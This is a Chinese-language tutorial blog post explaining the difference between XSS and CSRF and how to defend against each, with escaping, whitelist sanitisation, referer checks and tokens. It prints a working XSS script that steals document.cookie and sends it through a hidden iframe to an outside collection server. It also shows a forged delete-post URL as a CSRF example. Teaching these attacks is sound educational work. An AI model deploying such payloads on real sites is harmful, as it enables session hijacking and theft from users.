这两个关键词也是老生常谈了,但是还总是容易让人忘记与搞混~。 XSS与CSRF这两个关键词时常被拉出来一起比较(尤其是面试),我在这里也在写一篇扫盲文,也帮自己整理一下知识脉络。
这篇文章会用尽量“人话”的语言解释这二个关键词,让同学们对跨域,安全有更深一层次的了解。
国际惯例,先上一下维基百科:
XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。 I CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
简洁的说
XSS: 通过客户端脚本语言(最常见如:JavaScript) 在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!
CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。
通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。 XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。
上代码
场景:我在一条帖子里面写下了如下代码,发了出去,然后陆陆续续有很多可爱(wu / zhi) 的用户访问到这个帖子,然后用户接下来的所有操作都由我这串代码掌控了(各种姿势混着玩~)
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
有没感觉到背后一寒
看到这里感觉到危险了吧(想想初学程序时我们的站点完全没有这个意识,活生生的是在裸奔),= 既然此段脚本注入能携带着用户信息到收集服务器,那么再研究研究,他自然能发邮件?发帖?一系列业务逻辑? ~~当然可以!。
这里tips一下:上面的代码仅仅是XSS,并没有发生CSRF,因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并没有“伪造”用户发起一些请求,所以他只算是XSS攻击而不算是CSRF攻击,如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。
预防xss
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 {{ myvar | raw }} 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
那么下面我介绍一下最最简单的CSRF攻击(没有用到XSS的哦): 一个论坛,经过我的多次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操作是触发
csdnblog.com/bbs/delete_article.php?id=“X"
那么,我只需要在论坛中发一帖,包含一链接:
www.csdnblog.com/bbs/delete_article.php?id=“X"
,只要有用户点击了这个链接,那么ID为X的这一篇文章就被删掉了,而且是用户完全不知情的情况(敲黑板状:此处我可没有写XSS脚本哦,我纯粹是发一个url地址出来而已,既然删除操作可以伪造,那么只要我细细分析,其他操作(发帖,改名字,发私信,只要是这个论坛具有的功能)我都可以伪造咯!
预防csrf
CSRF 的常规防御 CSRF 比较常规的防御方式是通过判断来源和加 token。
判断来源比较简单,主要是判断referer这个头,如果不是自己的网站,就返回错误。
加 token 即同样的随机 token,在 cookies 中放一份,在表单中再放一份。这样第三方网站就无法获取到这个 token 是什么。
但是这样做也有一个比较明显的问题,就是无法保证站内用户的体验。虽然你防了站外的攻击,但是也降低了站内用户的体验。具体表现在如果同时打开多个表单,只有最后一个表单能成功提交。